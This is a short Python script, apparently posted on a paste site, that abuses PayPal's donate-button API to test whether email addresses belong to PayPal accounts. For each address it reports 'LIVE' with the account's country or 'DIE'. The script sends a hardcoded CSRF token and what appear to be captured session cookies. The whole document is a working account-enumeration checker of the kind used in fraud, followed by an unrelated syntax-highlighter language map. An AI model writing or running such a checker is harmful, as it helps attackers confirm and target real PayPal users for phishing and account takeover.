from re import findall
import json
import requests as m
def paypal(eml):
url_pay = "https://www.paypal.com/donate/api/buttons"
data2 = "button%5Bcountry_code%5D=US&button%5Btype%5D=DONATE&button%5Bsub_type%5D=PRODUCTS&button%5Blanguage%5D=en&button%5Bbutton_variables%5D%5B0%5D%5Bname%5D=item_name&button%5Bbutton_variables%5D%5B0%5D%5Bvalue%5D=&button%5Bbutton_variables%5D%5B1%5D%5Bname%5D=currency_code&button%5Bbutton_variables%5D%5B1%5D%5Bvalue%5D=USD&button%5Bbutton_variables%5D%5B2%5D%5Bname%5D=business&button%5Bbutton_variables%5D%5B2%5D%5Bvalue%5D="+eml + \
"&button%5Bbutton_variables%5D%5B3%5D%5Bname%5D=item_number&button%5Bbutton_variables%5D%5B3%5D%5Bvalue%5D=&button%5Bbutton_variables%5D%5B4%5D%5Bname%5D=no_shipping&button%5Bbutton_variables%5D%5B4%5D%5Bvalue%5D=1&button%5Bbutton_variables%5D%5B5%5D%5Bname%5D=no_note&button%5Bbutton_variables%5D%5B5%5D%5Bvalue%5D=0&button%5Bbutton_image_url%5D=https%3A%2F%2Fwww.paypalobjects.com%2Fen_US%2Fi%2Fbtn%2Fbtn_donateCC_LG.gif&button%5Bbutton_image%5D=CC"
js = json.dumps(data2)
headers = {
"Host": "www.paypal.com",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
"x-csrf-token": "jPisxPlgLiLOIOilVnuOYZrriXgNUhpmFXR4g=",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0",
"cookie": "tsrce=bizcomponentsnodeweb; ts=vreXpYrS%3D1681998232%26vteXpYrS%3D1587392032%26vr%3D9475aff11710a983e6b4070cfffe287c%26vt%3D97d4812c1710a621d6f72f5effffb8f6; ts_c=vr%3D9475aff11710a983e6b4070cfffe287c%26vt%3D97d4812c1710a621d6f72f5effffb8f6; LANG=en_US%3BUS; x-pp-s=eyJ0IjoiMTU4NzM5MDIyNDEyMSIsImwiOiIwIiwibSI6IjAifQ; nsid=s%3AYdlndcqjhlE0ZfWkfv-eogW7eqGjy4mZ.ug7BfbsIWlVG4q8IsGRf0oh03GW4nRGL3aaqMs69Ofo; X-PP-SILOVER=name%3DLIVE5.WEB.1%26silo_version%3D880%26app%3Dbizcomponentsnodeweb%26TIME%3D1587390224%26HTTP_X_PP_AZ_LOCATOR%3Ddcg02.phx; X-PP-L7=1; akavpau_ppsd=1587390824~id=bbe06b97b860f111be463af7e2681444; SEGM=bRdV1vB0ebq9RKdAb3xSHowCi6QnnlCiDOLNk8i1mAuLl1vTbzHQwWajSsMe8mvoWiJtY1GnpzN4Y-sixGy7BQ; tcs=main%3Awps%3Adonate%3Abutton%3Asetup%3Awizard%3Aunhosted%3A3%7CnextStep"
}
die = "Email id is not matching with the records."
cc = m.post(url_pay, json=js, headers=headers).content.decode("utf-8")
if (die in cc):
print("DIE")
else:
x = findall('"legalCountry":"(.*?)"', cc)
print("LIVE : "+eml+" & >> Country >> "+str(x[0]))
{"html5":"htmlmixed","css":"css","javascript":"javascript","php":"php","python":"python","ruby":"ruby","lua":"text\/x-lua","bash":"text\/x-sh","go":"go","c":"text\/x-csrc","cpp":"text\/x-c++src","diff":"diff","latex":"stex","sql":"sql","xml":"xml","apl":"apl","asterisk":"asterisk","c_loadrunner":"text\/x-csrc","c_mac":"text\/x-csrc","coffeescript":"text\/x-coffeescript","csharp":"text\/x-csharp","d":"d","ecmascript":"javascript","erlang":"erlang","groovy":"text\/x-groovy","haskell":"text\/x-haskell","haxe":"text\/x-haxe","html4strict":"htmlmixed","java":"text\/x-java","java5":"text\/x-java","jquery":"javascript","mirc":"mirc","mysql":"sql","ocaml":"text\/x-ocaml","pascal":"text\/x-pascal","perl":"perl","perl6":"perl","plsql":"sql","properties":"text\/x-properties","q":"text\/x-q","scala":"scala","scheme":"text\/x-scheme","tcl":"text\/x-tcl","vb":"text\/x-vb","verilog":"text\/x-verilog","yaml":"text\/x-yaml","z80":"text\/x-z80"}